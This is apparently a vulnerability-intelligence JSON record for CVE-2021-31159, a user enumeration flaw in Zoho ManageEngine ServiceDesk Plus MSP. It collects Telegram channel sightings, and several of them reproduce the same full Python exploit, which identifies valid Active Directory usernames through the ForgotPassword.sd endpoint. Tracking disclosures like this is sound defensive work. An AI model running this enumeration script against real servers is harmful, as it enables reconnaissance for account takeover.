{"vulnerability": "CVE-2021-31159", "sightings": [{"uuid": "f66c966f-6048-4588-8365-aac95bb9941a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/667", "content": "CVE-2021-31159 Zoho ManageEngine ServiceDesk Plus MSP 9.4 \u7528\u6236\u679a\u8209\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-31159_Zoho_ManageEngine_ServiceDesk_Plus_MSP_9.4_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-06-18T02:55:31.000000Z"}, {"uuid": "53611ae7-cdf9-40c2-b2ef-9bf462c48c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3639", "content": "#exploit\n1. CVE-2020-8300:\nDetect Citrix ADC SAML action or SAML iDP Profile config vulnerable to CVE-2020-8300 using Citrix ADC NITRO API\nhttps://github.com/stuartcarroll/CitrixADC-CVE-2020-8300\n\n2. CVE-2021-31159:\nZoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration\nhttps://github.com/ricardojoserf/CVE-2021-31159", "creation_timestamp": "2024-10-09T17:28:32.000000Z"}, {"uuid": "09806a0b-a5b8-46e7-b57d-ab4dd30dbc0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/cissp/3471", "content": "Threat Research\nAn Information  Disclosure Bug in ISC BIND Server (PoC)\nhttps://www.zerodayinitiative.com/blog/2021/6/15/zdi-21-502-an-information-disclosure-bug-in-isc-bind-server\n\nMalware analysis\nAPT Ferocious Kitten\nhttps://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806\n\nexploit\nCVE-2020-8300:\nDetect Citrix ADC SAML action or SAML iDP Profile config vulnerable to CVE-2020-8300 using Citrix ADC NITRO API (PoC)\nhttps://github.com/stuartcarroll/CitrixADC-CVE-2020-8300\n\nCVE-2021-31159:\nZoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (PoC)\nhttps://github.com/ricardojoserf/CVE-2021-31159\n\nOffensiv security \nRouter (D-Link, Zyxel, TP-Link, Huawei) exploitation tool that allows to disclosure network router admin password\ud83d\ude01\nhttps://github.com/EntySec/RomBuster", "creation_timestamp": "2026-09-01T17:00:47.683583Z"}, {"uuid": "cbdbec11-d381-4c6c-baca-63b31005777b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/hacking_Attack/13262", "content": "Exploit Collector\nZoho ManageEngine ServiceDesk Plus 9.4 User Enumeration\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nZoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.\n\nMD5 | 55c56b21ed33b96bade44b3319c1fcd0\n\nDownload\n# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)\n# Date: 17/06/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)\n# Vendor Homepage: https://www.manageengine.com\n# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519\n# Version: Previous to build 10519\n# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4\n# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159\n\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')\nparser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')\nparser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') \nparser.add_argument('-o', '--outputfile', required=False, default=\"listed_users.txt\", action='store', help='Output file')\nmy_args = parser.parse_args()\nreturn my_args\ndef main():\nargs = get_args()\nurl = args.target\ndomain = args.domain\nusersfile = args.usersfile\noutputfile = args.outputfile\n\ns = requests.session()\ns.get(url)\nresp_incorrect = s.get(url+\"/ForgotPassword.sd?userName=\"+\"nonexistentuserforsure\"+\"&dname=\"+domain, verify = False)\nincorrect_size = len(resp_incorrect.content)\nprint(\"Incorrect size: %s\"%(incorrect_size))\n\ncorrect_users = []\nusers = open(usersfile).read().splitlines()\nfor u in users:\nresp = s.get(url+\"/ForgotPassword.sd?userName=\"+u+\"&dname=\"+domain, verify = False) \nvalid = (len(resp.content) != incorrect_size)\nif valid:\ncorrect_users.append(u)\nprint(\"User: %s Response size: %s (correct: %s)\"%(u, len(resp.content),str(valid)))\n\nprint(\"\\nCorrect users\\n\")\nwith open(outputfile, 'w') as f:\nfor user in correct_users:\nf.write(\"%s\\n\" % user)\nprint(\"- %s\"%(user))\n\nprint(\"\\nResults stored in %s\\n\"%(outputfile))\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:35.979450Z"}, {"uuid": "9d12d7dc-3658-4bbf-ad87-17a4af8d593b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/hacking_Attack/13262", "content": "Exploit Collector\nZoho ManageEngine ServiceDesk Plus 9.4 User Enumeration\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nZoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.\n\nMD5 | 55c56b21ed33b96bade44b3319c1fcd0\n\nDownload\n# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)\n# Date: 17/06/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)\n# Vendor Homepage: https://www.manageengine.com\n# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519\n# Version: Previous to build 10519\n# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4\n# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159\n\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')\nparser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')\nparser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') \nparser.add_argument('-o', '--outputfile', required=False, default=\"listed_users.txt\", action='store', help='Output file')\nmy_args = parser.parse_args()\nreturn my_args\ndef main():\nargs = get_args()\nurl = args.target\ndomain = args.domain\nusersfile = args.usersfile\noutputfile = args.outputfile\n\ns = requests.session()\ns.get(url)\nresp_incorrect = s.get(url+\"/ForgotPassword.sd?userName=\"+\"nonexistentuserforsure\"+\"&dname=\"+domain, verify = False)\nincorrect_size = len(resp_incorrect.content)\nprint(\"Incorrect size: %s\"%(incorrect_size))\n\ncorrect_users = []\nusers = open(usersfile).read().splitlines()\nfor u in users:\nresp = s.get(url+\"/ForgotPassword.sd?userName=\"+u+\"&dname=\"+domain, verify = False) \nvalid = (len(resp.content) != incorrect_size)\nif valid:\ncorrect_users.append(u)\nprint(\"User: %s Response size: %s (correct: %s)\"%(u, len(resp.content),str(valid)))\n\nprint(\"\\nCorrect users\\n\")\nwith open(outputfile, 'w') as f:\nfor user in correct_users:\nf.write(\"%s\\n\" % user)\nprint(\"- %s\"%(user))\n\nprint(\"\\nResults stored in %s\\n\"%(outputfile))\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:12.412534Z"}, {"uuid": "124c7172-0297-4c68-b767-7a2d7b887a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/cissp/3471", "content": "Threat Research\nAn Information  Disclosure Bug in ISC BIND Server (PoC)\nhttps://www.zerodayinitiative.com/blog/2021/6/15/zdi-21-502-an-information-disclosure-bug-in-isc-bind-server\n\nMalware analysis\nAPT Ferocious Kitten\nhttps://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806\n\nexploit\nCVE-2020-8300:\nDetect Citrix ADC SAML action or SAML iDP Profile config vulnerable to CVE-2020-8300 using Citrix ADC NITRO API (PoC)\nhttps://github.com/stuartcarroll/CitrixADC-CVE-2020-8300\n\nCVE-2021-31159:\nZoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (PoC)\nhttps://github.com/ricardojoserf/CVE-2021-31159\n\nOffensiv security \nRouter (D-Link, Zyxel, TP-Link, Huawei) exploitation tool that allows to disclosure network router admin password\ud83d\ude01\nhttps://github.com/EntySec/RomBuster", "creation_timestamp": "2026-09-02T01:04:35.533792Z"}, {"uuid": "318f8716-c334-492c-bbbf-b538b7f4758f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/13262", "content": "Exploit Collector\nZoho ManageEngine ServiceDesk Plus 9.4 User Enumeration\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nZoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.\n\nMD5 | 55c56b21ed33b96bade44b3319c1fcd0\n\nDownload\n# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)\n# Date: 17/06/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)\n# Vendor Homepage: https://www.manageengine.com\n# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519\n# Version: Previous to build 10519\n# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4\n# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159\n\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')\nparser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')\nparser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') \nparser.add_argument('-o', '--outputfile', required=False, default=\"listed_users.txt\", action='store', help='Output file')\nmy_args = parser.parse_args()\nreturn my_args\ndef main():\nargs = get_args()\nurl = args.target\ndomain = args.domain\nusersfile = args.usersfile\noutputfile = args.outputfile\n\ns = requests.session()\ns.get(url)\nresp_incorrect = s.get(url+\"/ForgotPassword.sd?userName=\"+\"nonexistentuserforsure\"+\"&dname=\"+domain, verify = False)\nincorrect_size = len(resp_incorrect.content)\nprint(\"Incorrect size: %s\"%(incorrect_size))\n\ncorrect_users = []\nusers = open(usersfile).read().splitlines()\nfor u in users:\nresp = s.get(url+\"/ForgotPassword.sd?userName=\"+u+\"&dname=\"+domain, verify = False) \nvalid = (len(resp.content) != incorrect_size)\nif valid:\ncorrect_users.append(u)\nprint(\"User: %s Response size: %s (correct: %s)\"%(u, len(resp.content),str(valid)))\n\nprint(\"\\nCorrect users\\n\")\nwith open(outputfile, 'w') as f:\nfor user in correct_users:\nf.write(\"%s\\n\" % user)\nprint(\"- %s\"%(user))\n\nprint(\"\\nResults stored in %s\\n\"%(outputfile))\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T03:00:06.471768Z"}, {"uuid": "9780ca76-1d9e-458f-88ac-559bf0349326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/13262", "content": "Exploit Collector\nZoho ManageEngine ServiceDesk Plus 9.4 User Enumeration\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nZoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.\n\nMD5 | 55c56b21ed33b96bade44b3319c1fcd0\n\nDownload\n# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)\n# Date: 17/06/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)\n# Vendor Homepage: https://www.manageengine.com\n# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519\n# Version: Previous to build 10519\n# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4\n# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159\n\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')\nparser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')\nparser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') \nparser.add_argument('-o', '--outputfile', required=False, default=\"listed_users.txt\", action='store', help='Output file')\nmy_args = parser.parse_args()\nreturn my_args\ndef main():\nargs = get_args()\nurl = args.target\ndomain = args.domain\nusersfile = args.usersfile\noutputfile = args.outputfile\n\ns = requests.session()\ns.get(url)\nresp_incorrect = s.get(url+\"/ForgotPassword.sd?userName=\"+\"nonexistentuserforsure\"+\"&dname=\"+domain, verify = False)\nincorrect_size = len(resp_incorrect.content)\nprint(\"Incorrect size: %s\"%(incorrect_size))\n\ncorrect_users = []\nusers = open(usersfile).read().splitlines()\nfor u in users:\nresp = s.get(url+\"/ForgotPassword.sd?userName=\"+u+\"&dname=\"+domain, verify = False) \nvalid = (len(resp.content) != incorrect_size)\nif valid:\ncorrect_users.append(u)\nprint(\"User: %s Response size: %s (correct: %s)\"%(u, len(resp.content),str(valid)))\n\nprint(\"\\nCorrect users\\n\")\nwith open(outputfile, 'w') as f:\nfor user in correct_users:\nf.write(\"%s\\n\" % user)\nprint(\"- %s\"%(user))\n\nprint(\"\\nResults stored in %s\\n\"%(outputfile))\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:46.036176Z"}]}